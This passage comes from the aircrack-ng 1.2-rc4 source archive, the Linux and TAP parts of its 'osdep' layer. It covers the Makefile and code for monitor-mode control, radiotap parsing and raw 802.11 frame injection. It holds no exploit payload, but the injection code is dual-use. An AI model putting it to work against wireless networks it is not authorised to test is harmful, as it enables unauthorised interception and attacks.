if (iface) {} /* XXX unused parameter */ errno = EOPNOTSUPP; return NULL; } int get_battery_state(void) { errno = EOPNOTSUPP; return -1; } int create_tap(void) { errno = EOPNOTSUPP; return -1; } aircrack-ng-1.2-rc4/src/osdep/network.h0000644000000000000000000000136612511403324016465 0ustar rootroot/* * Copyright (c) 2007, 2008, Andrea Bittau * * Networking structures. * */ #ifndef __AIRCRACK_NG_OSDEP_NETWORK_H__ #define __AIRCRACK_NG_OSDEP_NETWORK_H__ #include #include #include "osdep.h" enum { NET_RC = 1, NET_GET_CHAN, NET_SET_CHAN, NET_WRITE, NET_PACKET, /* 5 */ NET_GET_MAC, NET_MAC, NET_GET_MONITOR, NET_GET_RATE, NET_SET_RATE, }; struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; extern struct wif *net_open(char *iface); extern int net_send(int s, int command, void *arg, int len); extern int net_read_exact(int s, void *arg, int len); extern int net_get(int s, void *arg, int *len); #endif /* __AIRCRACK_NG_OSEDEP_NETWORK_H__ */ aircrack-ng-1.2-rc4/src/osdep/Makefile0000644000000000000000000000362212630446153016271 0ustar rootrootAC_ROOT = ../.. include $(AC_ROOT)/common.mak RTAP = radiotap LIB = libosdep.a CFLAGS += $(PIC) -I.. $(LIBAIRPCAP) OBJS_COMMON = network.o file.o OBJS = osdep.o $(OBJS_COMMON) #AIRPCAP_DIR = airpcap OBJS_APCAP = airpcap.o OBJS_OBSD = $(OBJS) openbsd.o openbsd_tap.o OBJS_NBSD = $(OBJS) netbsd.o netbsd_tap.o OBJS_FBSD = $(OBJS) freebsd.o freebsd_tap.o OBJS_LINUX = $(OBJS) linux.o linux_tap.o radiotap/radiotap.o common.o OBJS_DUMMY = $(OBJS) dummy.o dummy_tap.o OBJS_CYGWIN = $(OBJS) cygwin.o cygwin_tap.o radiotap/radiotap.o OBJS_DARWIN = $(OBJS) darwin.o darwin_tap.o radiotap/radiotap.o # XXX make it a DLL, without polluting cygwin.c ifeq ($(subst TRUE,true,$(filter TRUE true,$(airpcap) $(AIRPCAP))),true) OBJS_CYGWIN += $(OBJS_APCAP) DOPCAP = $(AR) x $(AC_ROOT)/../developers/Airpcap_Devpack/lib/libairpcap.a else DOPCAP = endif all: @echo Building for $(OSNAME) @$(MAKE) .os.$(OSNAME) .os.dummy: $(OBJS_DUMMY) $(AR) cru $(LIB) $(OBJS_DUMMY) $(RANLIB) $(LIB) touch $(@) .os.DragonFly: $(OBJS_FBSD) $(AR) cru $(LIB) $(OBJS_FBSD) $(RANLIB) $(LIB) touch $(@) .os.FreeBSD: $(OBJS_FBSD) $(AR) cru $(LIB) $(OBJS_FBSD) $(RANLIB) $(LIB) touch $(@) .os.GNU-kFreeBSD: $(OBJS_FBSD) $(AR) cru $(LIB) $(OBJS_FBSD) $(RANLIB) $(LIB) touch $(@) .os.OpenBSD: $(OBJS_OBSD) $(AR) cru $(LIB) $(OBJS_OBSD) $(RANLIB) $(LIB) touch $(@) .os.NetBSD: $(OBJS_NBSD) $(AR) cru $(LIB) $(OBJS_NBSD) $(RANLIB) $(LIB) touch $(@) .os.Linux: $(OBJS_LINUX) $(AR) cru $(LIB) $(OBJS_LINUX) $(RANLIB) $(LIB) touch $(@) .os.cygwin: $(OBJS_CYGWIN) $(DOPCAP) $(AR) cru $(LIB) *.o radiotap/radiotap.o $(RANLIB) $(LIB) touch $(@) .os.Darwin: $(OBJS_DARWIN) $(DOPCAP) $(AR) cru $(LIB) $(OBJS_DARWIN) $(RANLIB) $(LIB) touch $(@) .os.%: .os.dummy @echo "Your platform is unsupported by osdep, dummy code compiled." touch $(@) install: all uninstall: clean: $(MAKE) -C $(RTAP) clean rm -f $(LIB) *.o .os.* aircrack-ng-1.2-rc4/src/osdep/linux_tap.c0000644000000000000000000001135712553555754017020 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for Linux. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_linux { int tl_fd; struct ifreq tl_ifr; int tl_ioctls; char tl_name[MAX_IFACE_NAME]; }; static int ti_do_open_linux(struct tif *ti, char *name) { int fd_tap; struct ifreq if_request; struct tip_linux *priv = ti_priv(ti); fd_tap = open( name ? name : "/dev/net/tun", O_RDWR ); if(fd_tap < 0 ) { printf( "error opening tap device: %s\n", strerror( errno ) ); printf( "try \"modprobe tun\"\n"); return -1; } memset( &if_request, 0, sizeof( if_request ) ); if_request.ifr_flags = IFF_TAP | IFF_NO_PI; strncpy( if_request.ifr_name, "at%d", IFNAMSIZ ); if( ioctl( fd_tap, TUNSETIFF, (void *)&if_request ) < 0 ) { printf( "error creating tap interface: %s\n", strerror( errno ) ); close( fd_tap ); return -1; } strncpy( priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME ); strncpy(priv->tl_ifr.ifr_name, priv->tl_name, sizeof(priv->tl_ifr.ifr_name) - 1); if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1) { priv->tl_ioctls = 0; close(fd_tap); return -1; } return fd_tap; } static void ti_do_free(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_close_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); close(priv->tl_fd); close(priv->tl_ioctls); ti_do_free(ti); } static char *ti_name_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); return priv->tl_name; } static int ti_set_mtu_linux(struct tif *ti, int mtu) { struct tip_linux *priv = ti_priv(ti); priv->tl_ifr.ifr_mtu = mtu; return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr); } static int ti_get_mtu_linux(struct tif *ti) { int mtu; struct tip_linux *priv = ti_priv(ti); if (ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr) != -1){ mtu = priv->tl_ifr.ifr_mtu; } else{ mtu = 1500; } return mtu; } static int ti_set_mac_linux(struct tif *ti, unsigned char *mac) { struct tip_linux *priv = ti_priv(ti); memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6); priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr); } static int ti_set_ip_linux(struct tif *ti, struct in_addr *ip) { struct tip_linux *priv = ti_priv(ti); struct sockaddr_in *s_in; s_in = (struct sockaddr_in*) &priv->tl_ifr.ifr_addr; s_in->sin_family = AF_INET; s_in->sin_addr = *ip; return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr); } static int ti_fd_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); return priv->tl_fd; } static int ti_read_linux(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_linux(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_linux(char *iface) { struct tif *ti; struct tip_linux *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_linux; ti->ti_set_mtu = ti_set_mtu_linux; ti->ti_get_mtu = ti_get_mtu_linux; ti->ti_close = ti_close_linux; ti->ti_fd = ti_fd_linux; ti->ti_read = ti_read_linux; ti->ti_write = ti_write_linux; ti->ti_set_mac = ti_set_mac_linux; ti->ti_set_ip = ti_set_ip_linux; /* setup iface */ fd = ti_do_open_linux(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tl_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_linux(iface); } aircrack-ng-1.2-rc4/src/osdep/linux.c0000644000000000000000000017435412660207441016145 0ustar rootroot/* * OS dependent APIs for Linux * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef CONFIG_LIBNL #include #include #include #include #include #include #include #endif //CONFIG_LIBNL #include "radiotap/radiotap.h" #include "radiotap/radiotap_iter.h" /* radiotap-parser defines types like u8 that * ieee80211_radiotap.h needs * * we use our local copy of ieee80211_radiotap.h * * - since we can't support extensions we don't understand * - since linux does not include it in userspace headers */ #include "osdep.h" #include "pcap.h" #include "crctable_osdep.h" #include "common.h" #include "byteorder.h" #ifdef CONFIG_LIBNL struct nl80211_state state; static int chan; #endif //CONFIG_LIBNL /* if_nametoindex is defined in net/if.h but that conflicts with linux/if.h */ extern unsigned int if_nametoindex (const char *__ifname); extern char *if_indextoname (unsigned int __ifindex, char *__ifname); typedef enum { DT_NULL = 0, DT_WLANNG, DT_HOSTAP, DT_MADWIFI, DT_MADWIFING, DT_BCM43XX, DT_ORINOCO, DT_ZD1211RW, DT_ACX, DT_MAC80211_RT, DT_AT76USB, DT_IPW2200 } DRIVER_TYPE; static const char * szaDriverTypes[] = { [DT_NULL] = "Unknown", [DT_WLANNG] = "Wlan-NG", [DT_HOSTAP] = "HostAP", [DT_MADWIFI] = "Madwifi", [DT_MADWIFING] = "Madwifi-NG", [DT_BCM43XX] = "BCM43xx", [DT_ORINOCO] = "Orinoco", [DT_ZD1211RW] = "ZD1211RW", [DT_ACX] = "ACX", [DT_MAC80211_RT] = "Mac80211-Radiotap", [DT_AT76USB] = "Atmel 76_usb", [DT_IPW2200] = "ipw2200" }; /* * XXX need to have a different read/write/open function for each Linux driver. */ struct priv_linux { int fd_in, arptype_in; int fd_out, arptype_out; int fd_main; int fd_rtc; DRIVER_TYPE drivertype; /* inited to DT_UNKNOWN on allocation by wi_alloc */ FILE *f_cap_in; struct pcap_file_header pfh_in; int sysfs_inject; int channel; int freq; int rate; int tx_power; char *wlanctlng; /* XXX never set */ char *iwpriv; char *iwconfig; char *ifconfig; char *wl; char *main_if; unsigned char pl_mac[6]; int inject_wlanng; }; #ifndef ETH_P_80211_RAW #define ETH_P_80211_RAW 25 #endif #define ARPHRD_IEEE80211 801 #define ARPHRD_IEEE80211_PRISM 802 #define ARPHRD_IEEE80211_FULL 803 #ifndef NULL_MAC #define NULL_MAC "\x00\x00\x00\x00\x00\x00" #endif unsigned long calc_crc_osdep( unsigned char * buf, int len) { unsigned long crc = 0xFFFFFFFF; for( ; len > 0; len--, buf++ ) crc = crc_tbl_osdep[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( ~crc ); } /* CRC checksum verification routine */ int check_crc_buf_osdep( unsigned char *buf, int len ) { unsigned long crc; if (len<0) return 0; crc = calc_crc_osdep(buf, len); buf+=len; return( ( ( crc ) & 0xFF ) == buf[0] && ( ( crc >> 8 ) & 0xFF ) == buf[1] && ( ( crc >> 16 ) & 0xFF ) == buf[2] && ( ( crc >> 24 ) & 0xFF ) == buf[3] ); } //Check if the driver is ndiswrapper */ static int is_ndiswrapper(const char * iface, const char * path) { int n, pid, unused; if (!path || !iface) return 0; if ((pid=fork())==0) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl(path, "iwpriv",iface, "ndis_reset", NULL); exit( 1 ); } waitpid( pid, &n, 0 ); return ( ( WIFEXITED(n) && WEXITSTATUS(n) == 0 )); } /* Search a file recursively */ static char * searchInside(const char * dir, const char * filename) { char * ret; char * curfile; struct stat sb; int len, lentot; DIR *dp; struct dirent *ep; dp = opendir(dir); if (dp == NULL) { return NULL; } len = strlen( filename ); lentot = strlen( dir ) + 256 + 2; curfile = (char *) calloc( 1, lentot ); while ((ep = readdir(dp)) != NULL) { memset(curfile, 0, lentot); sprintf(curfile, "%s/%s", dir, ep->d_name); //Checking if it's the good file if ((int)strlen( ep->d_name) == len && !strcmp(ep->d_name, filename)) { (void)closedir(dp); return curfile; } //If it's a directory and not a link, try to go inside to search if ( lstat(curfile, &sb)==0 && S_ISDIR(sb.st_mode) && !S_ISLNK(sb.st_mode)) { //Check if the directory isn't "." or ".." if (strcmp(".", ep->d_name) && strcmp("..", ep->d_name)) { //Recursive call ret = searchInside(curfile, filename); if (ret != NULL) { (void)closedir(dp); free( curfile ); return ret; } } } } (void)closedir(dp); free( curfile ); return NULL; } /* Search a wireless tool and return its path */ static char * wiToolsPath(const char * tool) { char * path /*, *found, *env */; int i, nbelems; static const char * paths [] = { "/sbin", "/usr/sbin", "/usr/local/sbin", "/bin", "/usr/bin", "/usr/local/bin", "/tmp" }; // Also search in other known location just in case we haven't found it yet nbelems = sizeof(paths) / sizeof(char *); for (i = 0; i < nbelems; i++) { path = searchInside(paths[i], tool); if (path != NULL) return path; } return NULL; } /* nl80211 */ #ifdef CONFIG_LIBNL struct nl80211_state { #if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20) struct nl_handle *nl_sock; #else struct nl_sock *nl_sock; #endif struct nl_cache *nl_cache; struct genl_family *nl80211; }; #if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20) static inline struct nl_handle *nl_socket_alloc(void) { return nl_handle_alloc(); } static inline void nl_socket_free(struct nl_handle *h) { nl_handle_destroy(h); } static inline int __genl_ctrl_alloc_cache(struct nl_handle *h, struct nl_cache **cache) { struct nl_cache *tmp = genl_ctrl_alloc_cache(h); if (!tmp) return -ENOMEM; *cache = tmp; return 0; } #define genl_ctrl_alloc_cache __genl_ctrl_alloc_cache #endif static int linux_nl80211_init(struct nl80211_state *state) { int err; state->nl_sock = nl_socket_alloc(); if (!state->nl_sock) { fprintf(stderr, "Failed to allocate netlink socket.\n"); return -ENOMEM; } if (genl_connect(state->nl_sock)) { fprintf(stderr, "Failed to connect to generic netlink.\n"); err = -ENOLINK; goto out_handle_destroy; } if (genl_ctrl_alloc_cache(state->nl_sock, &state->nl_cache)) { fprintf(stderr, "Failed to allocate generic netlink cache.\n"); err = -ENOMEM; goto out_handle_destroy; } state->nl80211 = genl_ctrl_search_by_name(state->nl_cache, "nl80211"); if (!state->nl80211) { fprintf(stderr, "nl80211 not found.\n"); err = -ENOENT; goto out_cache_free; } return 0; out_cache_free: nl_cache_free(state->nl_cache); out_handle_destroy: nl_socket_free(state->nl_sock); return err; } static void nl80211_cleanup(struct nl80211_state *state) { genl_family_put(state->nl80211); nl_cache_free(state->nl_cache); nl_socket_free(state->nl_sock); } /* Callbacks */ /* static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err, void *arg) { if (nla) { } printf("\n\n\nERROR"); int *ret = arg; *ret = err->error; return NL_STOP; } */ /* static void test_callback(struct nl_msg *msg, void *arg) { if (msg || arg) { } } */ #endif /* End nl80211 */ static int linux_get_channel(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; int fd, frequency; int chan=0; memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; fd = dev->fd_in; if(dev->drivertype == DT_IPW2200) fd = dev->fd_main; if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 ) return( -1 ); frequency = wrq.u.freq.m; if (frequency > 100000000) frequency/=100000; else if (frequency > 1000000) frequency/=1000; if (frequency > 1000) chan = getChannelFromFrequency(frequency); else chan = frequency; return chan; } static int linux_get_freq(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; int fd, frequency; memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; fd = dev->fd_in; if(dev->drivertype == DT_IPW2200) fd = dev->fd_main; if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 ) return( -1 ); frequency = wrq.u.freq.m; if (frequency > 100000000) frequency/=100000; else if (frequency > 1000000) frequency/=1000; if (frequency < 500) //its not a freq, but the actual channel frequency = getFrequencyFromChannel(frequency); return frequency; } static int linux_set_rate(struct wif *wi, int rate) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; struct iwreq wrq; char s[32]; int pid, status, unused; memset(s, 0, sizeof(s)); switch(dev->drivertype) { case DT_MADWIFING: memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( dev->fd_in, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } /* Bring interface down*/ ifr.ifr_flags = 0; if( ioctl( dev->fd_in, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } usleep(100000); snprintf( s, sizeof( s ) - 1, "%.1fM", (rate/1000000.0) ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "rate", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); return 0; break; case DT_MAC80211_RT: dev->rate = (rate/500000); //return 0; //Newer mac80211 stacks (2.6.31 and up) //don't care about Radiotap header anymore, so ioctl below must also be done! //[see Documentation/networking/mac80211-injection.txt] break; default: break; } /* ELSE */ memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; wrq.u.bitrate.value = rate; wrq.u.bitrate.fixed = 1; if( ioctl( dev->fd_in, SIOCSIWRATE, &wrq ) < 0 ) { return( -1 ); } return 0; } static int linux_get_rate(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; memset( &wrq, 0, sizeof( struct iwreq ) ); if( dev->drivertype == DT_MAC80211_RT ) return (dev->rate*500000); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; if( ioctl( dev->fd_in, SIOCGIWRATE, &wrq ) < 0 ) { return( -1 ); } return wrq.u.bitrate.value; } static int linux_set_mtu(struct wif *wi, int mtu) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; memset( &ifr, 0, sizeof( struct ifreq ) ); if(dev->main_if) strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 ); else strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); ifr.ifr_mtu = mtu; if( ioctl( dev->fd_in, SIOCSIFMTU, &ifr ) < 0 ) { return( -1 ); } return 0; } static int linux_get_mtu(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; memset( &ifr, 0, sizeof( struct ifreq ) ); if(dev->main_if) strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 ); else strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( dev->fd_in, SIOCGIFMTU, &ifr ) < 0 ) { return( -1 ); } return ifr.ifr_mtu; } static int linux_read(struct wif *wi, unsigned char *buf, int count, struct rx_info *ri) { struct priv_linux *dev = wi_priv(wi); unsigned char tmpbuf[4096]; int caplen, n, got_signal, got_noise, got_channel, fcs_removed; caplen = n = got_signal = got_noise = got_channel = fcs_removed = 0; if((unsigned)count > sizeof(tmpbuf)) return( -1 ); if( ( caplen = read( dev->fd_in, tmpbuf, count ) ) < 0 ) { if( errno == EAGAIN ) return( 0 ); perror( "read failed" ); return( -1 ); } switch (dev->drivertype) { case DT_MADWIFI: caplen -= 4; /* remove the FCS for madwifi-old! only (not -ng)*/ break; default: break; } memset( buf, 0, count ); /* XXX */ if (ri) memset(ri, 0, sizeof(*ri)); if( dev->arptype_in == ARPHRD_IEEE80211_PRISM ) { /* skip the prism header */ if( tmpbuf[7] == 0x40 ) { /* prism54 uses a different format */ if(ri) { ri->ri_power = tmpbuf[0x33]; ri->ri_noise = *(unsigned int *)( tmpbuf + 0x33 + 12 ); ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x33 + 24 ))*500000; got_signal = 1; got_noise = 1; } n = 0x40; } else { if(ri) { ri->ri_mactime = *(u_int64_t*)( tmpbuf + 0x5C - 48 ); ri->ri_channel = *(unsigned int *)( tmpbuf + 0x5C - 36 ); ri->ri_power = *(unsigned int *)( tmpbuf + 0x5C ); ri->ri_noise = *(unsigned int *)( tmpbuf + 0x5C + 12 ); ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x5C + 24 ))*500000; // if( ! memcmp( iface[i], "ath", 3 ) ) if( dev->drivertype == DT_MADWIFI ) ri->ri_power -= *(int *)( tmpbuf + 0x68 ); if( dev->drivertype == DT_MADWIFING ) ri->ri_power -= *(int *)( tmpbuf + 0x68 ); got_channel = 1; got_signal = 1; got_noise = 1; } n = *(int *)( tmpbuf + 4 ); } if( n < 8 || n >= caplen ) return( 0 ); } if( dev->arptype_in == ARPHRD_IEEE80211_FULL ) { struct ieee80211_radiotap_iterator iterator; struct ieee80211_radiotap_header *rthdr; rthdr = (struct ieee80211_radiotap_header *) tmpbuf; if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0) return (0); /* go through the radiotap arguments we have been given * by the driver */ while (ri && (ieee80211_radiotap_iterator_next(&iterator) >= 0)) { switch (iterator.this_arg_index) { case IEEE80211_RADIOTAP_TSFT: ri->ri_mactime = le64_to_cpu(*((uint64_t*)iterator.this_arg)); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: if(!got_signal) { if( *iterator.this_arg < 127 ) ri->ri_power = *iterator.this_arg; else ri->ri_power = *iterator.this_arg - 255; got_signal = 1; } break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: if(!got_signal) { if( *iterator.this_arg < 127 ) ri->ri_power = *iterator.this_arg; else ri->ri_power = *iterator.this_arg - 255; got_signal = 1; } break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: if(!got_noise) { if( *iterator.this_arg < 127 ) ri->ri_noise = *iterator.this_arg; else ri->ri_noise = *iterator.this_arg - 255; got_noise = 1; } break; case IEEE80211_RADIOTAP_DB_ANTNOISE: if(!got_noise) { if( *iterator.this_arg < 127 ) ri->ri_noise = *iterator.this_arg; else ri->ri_noise = *iterator.this_arg - 255; got_noise = 1; } break; case IEEE80211_RADIOTAP_ANTENNA: ri->ri_antenna = *iterator.this_arg; break; case IEEE80211_RADIOTAP_CHANNEL: ri->ri_channel = getChannelFromFrequency(le16toh(*(uint16_t*)iterator.this_arg)); got_channel = 1; break; case IEEE80211_RADIOTAP_RATE: ri->ri_rate = (*iterator.this_arg) * 500000; break; case IEEE80211_RADIOTAP_FLAGS: /* is the CRC visible at the end? * remove */ if ( *iterator.this_arg & IEEE80211_RADIOTAP_F_FCS ) { fcs_removed = 1; caplen -= 4; } if ( *iterator.this_arg & IEEE80211_RADIOTAP_F_BADFCS ) return( 0 ); break; } } n = le16_to_cpu(rthdr->it_len); if( n <= 0 || n >= caplen ) return( 0 ); } caplen -= n; //detect fcs at the end, even if the flag wasn't set and remove it if( fcs_removed == 0 && check_crc_buf_osdep( tmpbuf+n, caplen - 4 ) == 1 ) { caplen -= 4; } memcpy( buf, tmpbuf + n, caplen ); if(ri && !got_channel) ri->ri_channel = wi_get_channel(wi); return( caplen ); } static int linux_write(struct wif *wi, unsigned char *buf, int count, struct tx_info *ti) { struct priv_linux *dev = wi_priv(wi); unsigned char maddr[6]; int ret, usedrtap=0; unsigned char tmpbuf[4096]; unsigned char rate; unsigned short int *p_rtlen; unsigned char u8aRadiotap[] = { 0x00, 0x00, // <-- radiotap version 0x0c, 0x00, // <- radiotap header length 0x04, 0x80, 0x00, 0x00, // <-- bitmap 0x00, // <-- rate 0x00, // <-- padding for natural alignment 0x18, 0x00, // <-- TX flags }; /* Pointer to the radiotap header length field for later use. */ p_rtlen = (unsigned short int*)(u8aRadiotap+2); if((unsigned) count > sizeof(tmpbuf)-22) return -1; /* XXX honor ti */ if (ti) {} rate = dev->rate; u8aRadiotap[8] = rate; switch (dev->drivertype) { case DT_MAC80211_RT: memcpy(tmpbuf, u8aRadiotap, sizeof (u8aRadiotap) ); memcpy(tmpbuf + sizeof (u8aRadiotap), buf, count); count += sizeof (u8aRadiotap); buf = tmpbuf; usedrtap = 1; break; case DT_WLANNG: /* Wlan-ng isn't able to inject on kernel > 2.6.11 */ if( dev->inject_wlanng == 0 ) { perror( "write failed" ); return( -1 ); } if (count >= 24) { /* for some reason, wlan-ng requires a special header */ if( ( ((unsigned char *) buf)[1] & 3 ) != 3 ) { memcpy( tmpbuf, buf, 24 ); memset( tmpbuf + 24, 0, 22 ); tmpbuf[30] = ( count - 24 ) & 0xFF; tmpbuf[31] = ( count - 24 ) >> 8; memcpy( tmpbuf + 46, buf + 24, count - 24 ); count += 22; } else { memcpy( tmpbuf, buf, 30 ); memset( tmpbuf + 30, 0, 16 ); tmpbuf[30] = ( count - 30 ) & 0xFF; tmpbuf[31] = ( count - 30 ) >> 8; memcpy( tmpbuf + 46, buf + 30, count - 30 ); count += 16; } buf = tmpbuf; } /* fall thru */ case DT_HOSTAP: if( ( ((unsigned char *) buf)[1] & 3 ) == 2 ) { /* Prism2 firmware swaps the dmac and smac in FromDS packets */ memcpy( maddr, buf + 4, 6 ); memcpy( buf + 4, buf + 16, 6 ); memcpy( buf + 16, maddr, 6 ); } break; default: break; } ret = write( dev->fd_out, buf, count ); if( ret < 0 ) { if( errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || errno == ENOMEM ) { usleep( 10000 ); return( 0 ); } perror( "write failed" ); return( -1 ); } /* radiotap header length is stored little endian on all systems */ if(usedrtap) ret-=letoh16(*p_rtlen); if( ret < 0 ) { if( errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || errno == ENOMEM ) { usleep( 10000 ); return( 0 ); } perror( "write failed" ); return( -1 ); } return( ret ); } #if defined(CONFIG_LIBNL) static int ieee80211_channel_to_frequency(int chan) { if (chan < 14) return 2407 + chan * 5; if (chan == 14) return 2484; /* FIXME: dot11ChannelStartingFactor (802.11-2007 17.3.8.3.2) */ return (chan + 1000) * 5; } static int linux_set_channel_nl80211(struct wif *wi, int channel) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; unsigned int devid; struct nl_msg *msg; unsigned int freq; unsigned int htval = NL80211_CHAN_NO_HT; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: snprintf( s, sizeof( s ) - 1, "channel=%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi), "lnxreq_wlansniff", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) { dev->channel=channel; return( WEXITSTATUS(status) ); } else return( 1 ); break; case DT_ORINOCO: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi), "monitor", "1", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "channel", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; chan=channel; return 0; break; //yeah ;) default: break; } /* libnl stuff */ chan=channel; devid=if_nametoindex(wi->wi_interface); freq=ieee80211_channel_to_frequency(channel); msg=nlmsg_alloc(); if (!msg) { fprintf(stderr, "failed to allocate netlink message\n"); return 2; } genlmsg_put(msg, 0, 0, genl_family_get_id(state.nl80211), 0, 0, NL80211_CMD_SET_WIPHY, 0); NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, devid); NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq); NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, htval); nl_send_auto_complete(state.nl_sock,msg); nlmsg_free(msg); dev->channel = channel; return( 0 ); nla_put_failure: return -ENOBUFS; } #else //CONFIG_LIBNL static int linux_set_channel(struct wif *wi, int channel) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; memset( s, 0, sizeof( s ) ); switch 